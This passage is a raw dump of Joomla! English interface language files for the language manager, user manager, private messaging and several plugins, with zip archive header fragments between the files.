            Warning! When using the multilanguage functionality (i.e. when the plugin System - Languagefilter is enabled) the Site Default Language has to also be a published Content language." COM_LANGUAGES_NO_ITEM_SELECTED="No languages selected" COM_LANGUAGES_SAVE_SUCCESS="Content Language successfully saved" COM_LANGUAGES_SEARCH_IN_TITLE="Search in title" COM_LANGUAGES_SUBMENU_CONTENT="Content" COM_LANGUAGES_SUBMENU_INSTALLED_ADMINISTRATOR="Installed - Administrator" COM_LANGUAGES_SUBMENU_INSTALLED_SITE="Installed - Site" COM_LANGUAGES_SUBMENU_OVERRIDES="Overrides" COM_LANGUAGES_VIEW_INSTALLED_TITLE="Language Manager: Installed Languages" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_EDIT_TITLE="Language Manager: Edit Content Language" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_NEW_TITLE="Language Manager: New Content Language" COM_LANGUAGES_VIEW_LANGUAGES_TITLE="Language Manager: Content Languages" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_SITE="Site" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_ADMINISTRATOR="Administrator" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_TITLE="Language Manager: Edit Override" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_NEW_OVERRIDE_LEGEND="Create a New Override" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_EDIT_OVERRIDE_LEGEND="Edit this Override" COM_LANGUAGES_VIEW_OVERRIDE_LANGUAGE="%1$s [%2$s]" COM_LANGUAGES_VIEW_OVERRIDE_MORE_RESULTS="More Results" COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS="No matching texts found" COM_LANGUAGES_VIEW_OVERRIDE_REFRESHING="Please wait while the cache is recreated." COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR="Error while performing an Ajax request" COM_LANGUAGES_VIEW_OVERRIDE_RESULTS_LEGEND="Search Results" COM_LANGUAGES_VIEW_OVERRIDE_SAVE_SUCCESS="Language Override was saved successfully." COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_BUTTON="Search" COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_LEGEND="Search text you want to change" COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_TIP="A language string is composed of two parts: a specific language constant and its value.
            For example, in the string:
                 COM_CONTENT_READ_MORE="_QQ_"Read more: "_QQ_"
            'COM_CONTENT_READ_MORE' is the constant and 'Read more: ' is the value.
            You have to use the specific language constant in order to create an override of the value.
            Therefore, you can search for the constant or the value you want to change with the search field below.
            By clicking on the desired result the correct constant will automatically be inserted into the form." COM_LANGUAGES_VIEW_OVERRIDES_FILTER_SEARCH_DESC="Search constant or text." COM_LANGUAGES_VIEW_OVERRIDES_KEY="Constant" COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM="%1$s - %2$s" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED="%d language overrides were successfully deleted" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED_1="%d language override was successfully deleted" COM_LANGUAGES_VIEW_OVERRIDES_NO_ITEM_SELECTED="You haven't selected any overrides" COM_LANGUAGES_VIEW_OVERRIDES_TEXT="Text" COM_LANGUAGES_VIEW_OVERRIDES_TITLE="Language Manager: Language Overrides" COM_LANGUAGES_XML_DESCRIPTION="Component for language management" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\/@LL/language/en-US/en-US.plg_search_content.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTENT="Search - Content" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Enables searching in Articles"PK@y>\M3language/en-US/en-US.plg_quickicon_joomlaupdate.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_JOOMLAUPDATE="Quick Icon - Joomla! Update Notification" PLG_QUICKICON_JOOMLAUPDATE_CHECKING="Checking Joomla!
            update status" PLG_QUICKICON_JOOMLAUPDATE_ERROR="Unknown Joomla!
            update status" PLG_QUICKICON_JOOMLAUPDATE_GROUP_DESC="The group of this plugin (this value is compared with the group value used in Quick Icons modules to inject icons)" PLG_QUICKICON_JOOMLAUPDATE_GROUP_LABEL="Group" PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND="Joomla! %s
            Update now!" PLG_QUICKICON_JOOMLAUPDATE_UPTODATE="Joomla! is up-to-date" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Checks for Joomla! updates and notifies you when you visit the Control Panel page" PK@y>\3HQ'language/en-US/en-US.plg_system_log.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_LOG_XML_DESCRIPTION="Provides System Logging" PLG_SYSTEM_LOG="System - Log" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_DESC="This option will log used user names when an authentication failed" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_LABEL="Log user names" PK@y>\.5A2language/en-US/en-US.plg_captcha_recaptcha.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="This CAPTCHA plugin uses the reCAPTCHA service to prevent spammers while it helps to digitize books, newspapers and old radio shows. To get a public and private key for your domain, go to http://www.google.com/recaptcha. To use this for new account registration, go to Options in the User Manager and select Captcha - reCaptcha as the Captcha." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" PK@y>\Pdee1language/en-US/en-US.plg_editors-xtd_readmore.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_READMORE="Button - Readmore" PLG_READMORE_ALREADY_EXISTS="There is already a Read more... link that has been inserted. Only one such link is permitted. Use {pagebreak} to split the page up further." PLG_READMORE_BUTTON_READMORE="Read More" PLG_READMORE_XML_DESCRIPTION="Enables a button which allows you to easily insert the Read more... link into an Article."PK@y>\xVQFQF"language/en-US/en-US.com_users.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_USERS_OPTION_FILTER_DATE="- Registration Date -" COM_USERS_OPTION_RANGE_PAST_1MONTH="in the last month" COM_USERS_OPTION_RANGE_PAST_3MONTH="in the last 3 months" COM_USERS_OPTION_RANGE_PAST_6MONTH="in the last 6 months" COM_USERS_OPTION_RANGE_PAST_WEEK="in the last week" COM_USERS_OPTION_RANGE_PAST_YEAR="in the last year" COM_USERS_OPTION_RANGE_POST_YEAR="more than a year ago" COM_USERS_OPTION_RANGE_TODAY="today" COM_USERS="Users Manager" COM_USERS_ACTIONS_AVAILABLE="Actions Permitted" COM_USERS_ACTIVATED="Activated" COM_USERS_ADD_NOTE="Add a note" COM_USERS_ASSIGNED_GROUPS="Assigned User Groups" COM_USERS_BATCH_ADD="Add To Group" COM_USERS_BATCH_DELETE="Delete From Group" COM_USERS_BATCH_GROUP="Select Group" COM_USERS_BATCH_OPTIONS="Batch process the selected users" COM_USERS_BATCH_SET="Set To Group" COM_USERS_CATEGORY_HEADING="Category" COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC="If set to Yes, new Users allowed to self-register." COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL="Allow User Registration" COM_USERS_CONFIG_FIELD_CAPTCHA_DESC="Select the captcha plugin that will be used in the registration, password and username reminder forms. You may need to enter required information for your captcha plugin in the Plugin Manager.
            If 'Use Default' is selected, make sure a captcha plugin is selected in Global Configuration." COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL="Captcha" COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC="Allow users to change their Login name when editing their profile." COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL="Change Login Name" COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC="If 'Frontend User Parameters' is set to 'Show', users will be able to select their frontend language preference when registering.
            This is specially handy in a multilanguage setting." COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL="Frontend Language" COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC="The maximum number of password resets allowed within the time period. Zero indicates no limit." COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL="Maximum Reset Count" COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC="The time period, in hours, for the reset counter." COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL="Time in Hours" COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC="If set to Show, Users will be able to select their language, editor, and Help Site preferences on their details screen when logged-in to the frontend." COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL="Frontend User Parameters" COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC="The default Group that will be applied to guest (not logged-in) Users." COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL="Guest User Group" COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC="This gets added after the mail text." COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL="Mailbody Suffix" COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC="If 'New User Account Activation' is set to 'None' or 'Self', allows or not a notification mail to be sent to administrators." COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL="Notification Mail to Administrators" COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC="The default group that will be applied to New Users Registering via the frontend." COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL="New User Registration Group" COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL="Send Password" COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC="If set to Yes the user's initial password will be emailed to the user as part of the registration mail." COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC="This gets added in front of each mail subject." COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL="Subject Prefix" COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC="If set to None, the user will be registered right away. If set to Self, the User will be emailed a link to activate their account before they can log in. If set to Admin, the user will be emailed a link to verify their email address, then all users set to receive system emails and who have the permission to create users will be notified to activate the user's account." COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL="New User Account Activation" COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION="Admin" COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION="Self" COM_USERS_CONFIG_IMPORT_FAILED="An error was encountered while importing the configuration: %s." COM_USERS_CONFIG_SAVE_FAILED="An error was encountered while saving the configuration: %s." COM_USERS_CONFIGURATION="Users Configuration" COM_USERS_DEBUG_EXPLICIT_ALLOW="[ %s ] Allowed" COM_USERS_DEBUG_EXPLICIT_DENY="[ %s ] Forbidden" COM_USERS_DEBUG_GROUP="Debug Permissions Report" COM_USERS_DEBUG_IMPLICIT_DENY="[ %s ] Not Allowed" COM_USERS_DEBUG_LEGEND="Legend:" COM_USERS_DEBUG_NO_CHECK="[   ] Not Applicable" COM_USERS_DEBUG_USER="Debug Permissions Report" COM_USERS_DELETE_ERROR_INVALID_GROUP="You cannot delete user groups to which you belong." COM_USERS_EDIT_NOTE_N="Editing note with ID #%d" COM_USERS_EDIT_USER="Edit User %s" COM_USERS_EMPTY_REVIEW="-" COM_USERS_EMPTY_SUBJECT="- No subject -" COM_USERS_ERROR_INVALID_GROUP="Invalid Group" COM_USERS_ERROR_LEVELS_NOLEVELS_SELECTED="No View Permission Level(s) selected." COM_USERS_ERROR_NO_ADDITIONS="The selected user(s) are already assigned to the selected group." COM_USERS_ERROR_VIEW_LEVEL_IN_USE="You cannot delete the view access level '%d:%s' because it is being used by content." COM_USERS_FIELD_CATEGORY_ID_LABEL="Category" COM_USERS_FIELD_ID_LABEL="ID" COM_USERS_FIELD_NOTEBODY_DESC="Note" COM_USERS_FIELD_NOTEBODY_LABEL="Note" COM_USERS_FIELD_REVIEW_TIME_DESC="Review time is a manually entered time you can use as fits in your workflow. Examples would be to put in a date that you want to review a user or the last date you reviewed the user" COM_USERS_FIELD_REVIEW_TIME_LABEL="Review time" COM_USERS_FIELD_STATE_DESC="Set publication status." COM_USERS_FIELD_SUBJECT_DESC="The subject line for the note" COM_USERS_FIELD_SUBJECT_LABEL="Subject" COM_USERS_FIELD_USER_ID_LABEL="ID" COM_USERS_FILTER_ACTIVE="- Active -" COM_USERS_FILTER_LABEL="Filter Users by: " COM_USERS_FILTER_NOTES="Show notes list for this user" COM_USERS_FILTER_STATE="- State -" COM_USERS_FILTER_USER_GROUP="Filter User Group" COM_USERS_FILTER_USERGROUP="- Group -" COM_USERS_GROUP_FIELD_PARENT_DESC="Choose a Parent for this Group." COM_USERS_GROUP_FIELD_PARENT_LABEL="Group Parent" COM_USERS_GROUP_FIELD_TITLE_DESC="Enter a Title for the Group." COM_USERS_GROUP_FIELD_TITLE_LABEL="Group Title" COM_USERS_GROUP_SAVE_SUCCESS="Group successfully saved" COM_USERS_GROUPS_CONFIRM_DELETE="Are you sure to delete groups that have users?" COM_USERS_GROUPS_N_ITEMS_DELETED="%d User Groups successfully deleted" COM_USERS_GROUPS_N_ITEMS_DELETED_1="One User Group successfully deleted" COM_USERS_GROUPS_NO_ITEM_SELECTED="No User Groups selected" COM_USERS_HEADING_ACTIVATED="Activated" COM_USERS_HEADING_ASSET_NAME="Asset Name" COM_USERS_HEADING_ASSET_TITLE="Asset Title" COM_USERS_HEADING_ENABLED="Enabled" COM_USERS_HEADING_GROUP_TITLE="Group Title" COM_USERS_HEADING_GROUPS="User Groups" COM_USERS_HEADING_LAST_VISIT_DATE="Last Visit Date" COM_USERS_HEADING_LEVEL_NAME="Level Name" COM_USERS_HEADING_LFT="LFT" COM_USERS_HEADING_NAME="Name" COM_USERS_HEADING_REGISTRATION_DATE="Registration Date" COM_USERS_HEADING_USERS_IN_GROUP="Users in group" COM_USERS_LEVEL_DETAILS="Level Details" COM_USERS_LEVEL_FIELD_TITLE_DESC="Enter a Title for this Access level." COM_USERS_LEVEL_FIELD_TITLE_LABEL="Level Title" COM_USERS_LEVEL_HEADER_ERROR="User header access level error" COM_USERS_LEVEL_SAVE_SUCCESS="Access level successfully saved" COM_USERS_LEVELS_N_ITEMS_DELETED="%d View Permission Level successfully deleted" COM_USERS_LEVELS_N_ITEMS_DELETED_1="One View Permission Level successfully deleted" COM_USERS_MAIL_DETAILS="Details" COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS="Email sent to %s users" COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS_1="Email sent to one user" COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_DESC="If checked, disabled users will be included when sending mail" COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_LABEL="Send to disabled users" COM_USERS_MAIL_FIELD_GROUP_DESC="Choose a group to send the mail to." COM_USERS_MAIL_FIELD_GROUP_LABEL="Group:" COM_USERS_MAIL_FIELD_MESSAGE_DESC="Enter here a default message" COM_USERS_MAIL_FIELD_MESSAGE_LABEL="Message" COM_USERS_MAIL_FIELD_RECURSE_DESC="If checked, the email will also be sent to users who are members of any child groups of the selected groups." COM_USERS_MAIL_FIELD_RECURSE_LABEL="Mail to Child User Groups:" COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_DESC="Hides recipient list and adds copy to site email." COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_LABEL="Recipients as BCC:" COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_DESC="If checked, the email will be sent with HTML tags. If not checked, email will be sent in plain text." COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_LABEL="Send in HTML mode:" COM_USERS_MAIL_FIELD_SUBJECT_DESC="Enter the subject of the mail" COM_USERS_MAIL_FIELD_SUBJECT_LABEL="Subject" COM_USERS_MAIL_FIELD_VALUE_ALL_USERS_GROUPS="All Users Groups" COM_USERS_MAIL_MESSAGE="Message" COM_USERS_MAIL_NO_USERS_COULD_BE_FOUND_IN_THIS_GROUP="No users could be found in this group." COM_USERS_MAIL_ONLY_YOU_COULD_BE_FOUND_IN_THIS_GROUP="You are the only user in this group." COM_USERS_MAIL_PLEASE_FILL_IN_THE_FORM_CORRECTLY="Please fill in the form correctly." COM_USERS_MAIL_PLEASE_FILL_IN_THE_MESSAGE="Please enter a message" COM_USERS_MAIL_PLEASE_FILL_IN_THE_SUBJECT="Please enter a subject" COM_USERS_MAIL_PLEASE_SELECT_A_GROUP="Please select a Group" COM_USERS_MAIL_THE_MAIL_COULD_NOT_BE_SENT="The mail could not be sent." COM_USERS_MASS_MAIL="Mass Mail" COM_USERS_MASS_MAIL_DESC="Mass Mail options" COM_USERS_N_LEVELS_DELETED="%d View Access Levels successfully removed." COM_USERS_N_LEVELS_DELETED_0="No View Access Levels removed." COM_USERS_N_LEVELS_DELETED_1="%d View Access Level successfully removed." COM_USERS_N_USER_NOTES="Display %d notes" COM_USERS_N_USER_NOTES_1="Display %d note" COM_USERS_N_USER_NOTES_0="No notes to display" COM_USERS_N_USERS_ACTIVATED="%s Users successfully activated" COM_USERS_N_USERS_ACTIVATED_0="No user activated" COM_USERS_N_USERS_ACTIVATED_1="User successfully activated" COM_USERS_N_USERS_BLOCKED="%s Users blocked" COM_USERS_N_USERS_BLOCKED_0="No User blocked" COM_USERS_N_USERS_BLOCKED_1="User blocked" COM_USERS_N_USERS_UNBLOCKED="%s Users enabled" COM_USERS_N_USERS_UNBLOCKED_0="No User enabled" COM_USERS_N_USERS_UNBLOCKED_1="User enabled" COM_USERS_NEW_NOTE="New note" COM_USERS_NO_NOTES="No notes available for this user." COM_USERS_NO_LEVELS_SELECTED="No Viewing Access Levels selected" COM_USERS_NOTE_N_SUBJECT="#%d %s" COM_USERS_NOTES="Notes" COM_USERS_NOTES_FOR_USER="Notes for user %s (ID #%d)" COM_USERS_NOTES_N_ITEMS_ARCHIVED="%d User Notes successfully archived" COM_USERS_NOTES_N_ITEMS_ARCHIVED_1="%d User Note successfully archived" COM_USERS_NOTES_N_ITEMS_CHECKED_IN="%d User Notes successfully checked in" COM_USERS_NOTES_N_ITEMS_CHECKED_IN_1="%d User Note successfully checked in" COM_USERS_NOTES_N_ITEMS_DELETED="%d User Notes successfully deleted" COM_USERS_NOTES_N_ITEMS_DELETED_1="%d User Note successfully deleted" COM_USERS_NOTES_N_ITEMS_PUBLISHED="%d User Notes successfully published" COM_USERS_NOTES_N_ITEMS_PUBLISHED_1="%d User Note successfully published" COM_USERS_NOTES_N_ITEMS_TRASHED="%d User Notes successfully trashed" COM_USERS_NOTES_N_ITEMS_TRASHED_1="%d User Note successfully trashed" COM_USERS_NOTES_N_ITEMS_UNPUBLISHED="%d User Notes successfully unpublished" COM_USERS_NOTES_N_ITEMS_UNPUBLISHED_1="%d User Note successfully unpublished" COM_USERS_OPTION_LEVEL_CATEGORY="%d (top category)" COM_USERS_OPTION_LEVEL_COMPONENT="%d (component)" COM_USERS_OPTION_LEVEL_DEEPER="%d (deeper)" COM_USERS_OPTION_SELECT_COMPONENT="- Select Component -" COM_USERS_OPTION_SELECT_LEVEL_END="- Select End Level -" COM_USERS_OPTION_SELECT_LEVEL_START="- Select Start Level -" COM_USERS_REVIEW_HEADING="Review date" COM_USERS_SEARCH_ACCESS_LEVELS="Search Viewing Access Levels" COM_USERS_SEARCH_ASSETS="Search Assets" COM_USERS_SEARCH_GROUPS_LABEL="Search User Groups" COM_USERS_SEARCH_IN_GROUPS="Search in title" COM_USERS_SEARCH_IN_NAME="Search in name" COM_USERS_SEARCH_IN_NOTE_TITLE="Search in notes subject or user name." COM_USERS_SEARCH_TITLE_LEVELS="Search for Access Levels." COM_USERS_SEARCH_USERS="Search Users" COM_USERS_SETTINGS_FIELDSET_LABEL="Basic Settings" COM_USERS_SUBMENU_GROUPS="User Groups" COM_USERS_SUBMENU_LEVELS="Viewing Access Levels" COM_USERS_SUBMENU_NOTES="User Notes" COM_USERS_SUBMENU_NOTE_CATEGORIES="Note Categories" COM_USERS_SUBMENU_USERS="Users" COM_USERS_SUBJECT_HEADING="Subject" COM_USERS_TOOLBAR_ACTIVATE="Activate" COM_USERS_TOOLBAR_BLOCK="Block" COM_USERS_TOOLBAR_MAIL_SEND_MAIL="Send email" COM_USERS_TOOLBAR_UNBLOCK="Unblock" COM_USERS_UNACTIVATED="Unactivated" COM_USERS_USER_ACCOUNT_DETAILS="Account Details" COM_USERS_USER_BATCH_FAILED="An error was encountered while performing the batch operation: %s." COM_USERS_USER_BATCH_SUCCESS="Batch operation completed successfully." COM_USERS_USER_FIELD_BACKEND_LANGUAGE_DESC="Select the Language for the Administrator Backend interface. This will only affect this User." COM_USERS_USER_FIELD_BACKEND_LANGUAGE_LABEL="Backend Language" COM_USERS_USER_FIELD_BACKEND_TEMPLATE_DESC="Select the template style for the Administrator Backend interface. This will only affect this User." COM_USERS_USER_FIELD_BACKEND_TEMPLATE_LABEL="Backend Template Style" COM_USERS_USER_FIELD_BLOCK_DESC="Block this user" COM_USERS_USER_FIELD_BLOCK_LABEL="Block this User" COM_USERS_USER_FIELD_EDITOR_DESC="User Editor" COM_USERS_USER_FIELD_EDITOR_LABEL="Editor" COM_USERS_USER_FIELD_EMAIL_DESC="Enter an email for the user" COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_DESC="Select the Language for the frontend interface. This will only affect this User." COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Frontend Language" COM_USERS_USER_FIELD_HELPSITE_DESC="Help site for this user" COM_USERS_USER_FIELD_HELPSITE_LABEL="Help Site" COM_USERS_USER_FIELD_LASTRESET_DESC="Date and time of last password reset" COM_USERS_USER_FIELD_LASTRESET_LABEL="Last Reset Date" COM_USERS_USER_FIELD_LASTVISIT_DESC="Last Visit Date" COM_USERS_USER_FIELD_LASTVISIT_LABEL="Last Visit Date" COM_USERS_USER_FIELD_NAME_DESC="Enter the name of the user" COM_USERS_USER_FIELD_NAME_LABEL="Name" COM_USERS_USER_FIELD_PASSWORD2_DESC="Confirm the user's password" COM_USERS_USER_FIELD_PASSWORD2_LABEL="Confirm Password" COM_USERS_USER_FIELD_PASSWORD_DESC="Enter the password for the user" COM_USERS_USER_FIELD_REGISTERDATE_DESC="Registration Date" COM_USERS_USER_FIELD_REGISTERDATE_LABEL="Registration Date" COM_USERS_USER_FIELD_RESETCOUNT_DESC="Number of password resets since last reset date" COM_USERS_USER_FIELD_RESETCOUNT_LABEL="Password Reset Count" COM_USERS_USER_FIELD_SENDEMAIL_DESC="If set to yes, the user will receive system emails." COM_USERS_USER_FIELD_SENDEMAIL_LABEL="Receive System emails" COM_USERS_USER_FIELD_TIMEZONE_DESC="Time zone for this user" COM_USERS_USER_FIELD_TIMEZONE_LABEL="Time Zone" COM_USERS_USER_FIELD_USERNAME_DESC="Enter the login name (User name) for the user." COM_USERS_USER_FIELD_USERNAME_LABEL="Login Name" COM_USERS_USER_GROUPS_HAVING_ACCESS="User Groups Having Viewing Access" COM_USERS_USER_HEADING="User" COM_USERS_USER_SAVE_FAILED="An error was encountered while saving the member: %s." COM_USERS_USER_SAVE_SUCCESS="User successfully saved." COM_USERS_USERGROUP_DETAILS="User Group Details" COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF="You cannot block yourself." COM_USERS_USERS_ERROR_CANNOT_DELETE_SELF="You cannot delete yourself." COM_USERS_USERS_ERROR_CANNOT_DEMOTE_SELF="You cannot remove your own Super Admin permissions." COM_USERS_USERS_MULTIPLE_GROUPS="Multiple groups" COM_USERS_USERS_N_ITEMS_DELETED="%d users successfully deleted" COM_USERS_USERS_N_ITEMS_DELETED_1="One user successfully deleted" COM_USERS_USERS_NO_ITEM_SELECTED="No Users selected" COM_USERS_VIEW_DEBUG_GROUP_TITLE="Debug Permissions Report for Group #%d, %s" COM_USERS_VIEW_DEBUG_USER_TITLE="Debug Permissions Report for User #%d, %s" COM_USERS_VIEW_EDIT_GROUP_TITLE="User Manager: Edit Group" COM_USERS_VIEW_EDIT_LEVEL_TITLE="User Manager: Edit Viewing Access Level" COM_USERS_VIEW_EDIT_PROFILE_TITLE="User Manager: Edit Profile" COM_USERS_VIEW_EDIT_USER_TITLE="User Manager: Edit User" COM_USERS_VIEW_GROUPS_TITLE="User Manager: User Groups" COM_USERS_VIEW_LEVELS_TITLE="User Manager: Viewing Access Levels" COM_USERS_VIEW_NEW_GROUP_TITLE="User Manager: Add New User Group" COM_USERS_VIEW_NEW_LEVEL_TITLE="User Manager: Add New Viewing Access Level" COM_USERS_VIEW_NEW_USER_TITLE="User Manager: Add New User" COM_USERS_VIEW_NOTES_TITLE="User Note" COM_USERS_VIEW_USERS_TITLE="User Manager: Users" COM_USERS_XML_DESCRIPTION="Component for managing users" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\uu%language/en-US/en-US.com_messages.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MESSAGES="Messaging" COM_MESSAGES_ADD="New Private Message" COM_MESSAGES_CONFIG_SAVED="Configuration successfully saved" COM_MESSAGES_CONFIGURATION="Messages Configuration" COM_MESSAGES_ERR_INVALID_USER="Invalid user" COM_MESSAGES_ERR_SEND_FAILED="The user has locked their mailbox. Message failed." COM_MESSAGES_ERROR_INVALID_FROM_USER="Invalid sender" COM_MESSAGES_ERROR_INVALID_MESSAGE="Invalid message content" COM_MESSAGES_ERROR_INVALID_SUBJECT="Invalid subject" COM_MESSAGES_ERROR_INVALID_TO_USER="Invalid recipient" COM_MESSAGES_FIELD_AUTO_PURGE_DESC="Automatically purge private messages after the given number of days." COM_MESSAGES_FIELD_AUTO_PURGE_LABEL="Auto-purge Messages (days)" COM_MESSAGES_FIELD_DATE_TIME_LABEL="Posted" COM_MESSAGES_FIELD_LOCK_DESC="Lock your private message inbox." COM_MESSAGES_FIELD_LOCK_LABEL="Lock Inbox" COM_MESSAGES_FIELD_MAIL_ON_NEW_DESC="Email me when a new private message arrives." COM_MESSAGES_FIELD_MAIL_ON_NEW_LABEL="Email New Messages" COM_MESSAGES_FIELD_MESSAGE_DESC="You must enter a message." COM_MESSAGES_FIELD_MESSAGE_LABEL="Message" COM_MESSAGES_FIELD_SUBJECT_DESC="You must enter a subject." COM_MESSAGES_FIELD_SUBJECT_LABEL="Subject" COM_MESSAGES_FIELD_USER_ID_FROM_LABEL="From" COM_MESSAGES_FIELD_USER_ID_TO_DESC="You must select a recipient." COM_MESSAGES_FIELD_USER_ID_TO_LABEL="Recipient" COM_MESSAGES_HEADING_FROM="From" COM_MESSAGES_HEADING_READ="Read" COM_MESSAGES_HEADING_SUBJECT="Subject" COM_MESSAGES_INVALID_REPLY_ID="Invalid recipient" COM_MESSAGES_MANAGER_MESSAGES="Private Messages Manager: Messages" COM_MESSAGES_MARK_AS_READ="Mark As Read" COM_MESSAGES_MARK_AS_UNREAD="Mark as Unread" COM_MESSAGES_MY_SETTINGS="My Settings" COM_MESSAGES_N_ITEMS_DELETED="%d messages successfully deleted" COM_MESSAGES_N_ITEMS_DELETED_1="Message successfully deleted" COM_MESSAGES_N_ITEMS_PUBLISHED="%d messages successfully marked as read" COM_MESSAGES_N_ITEMS_PUBLISHED_1="Message successfully marked as read" COM_MESSAGES_N_ITEMS_TRASHED="%d messages successfully trashed" COM_MESSAGES_N_ITEMS_TRASHED_1="Message successfully trashed" COM_MESSAGES_N_ITEMS_UNPUBLISHED="%d messages successfully marked as unread" COM_MESSAGES_N_ITEMS_UNPUBLISHED_1="Message successfully marked as unread" COM_MESSAGES_NEW_MESSAGE_ARRIVED="A new private message has arrived from %s" COM_MESSAGES_NO_ITEM_SELECTED="No messages selected" COM_MESSAGES_OPTION_READ="Read" COM_MESSAGES_OPTION_UNREAD="Unread" COM_MESSAGES_PLEASE_LOGIN="Please log in to %s to read your message." COM_MESSAGES_RE="Re:" COM_MESSAGES_READ="Messages" COM_MESSAGES_READ_PRIVATE_MESSAGE="Read Private Message" COM_MESSAGES_SEARCH_IN_SUBJECT="Search in message subject or description " COM_MESSAGES_TOOLBAR_MARK_AS_READ="Mark As Read" COM_MESSAGES_TOOLBAR_MARK_AS_UNREAD="Mark as 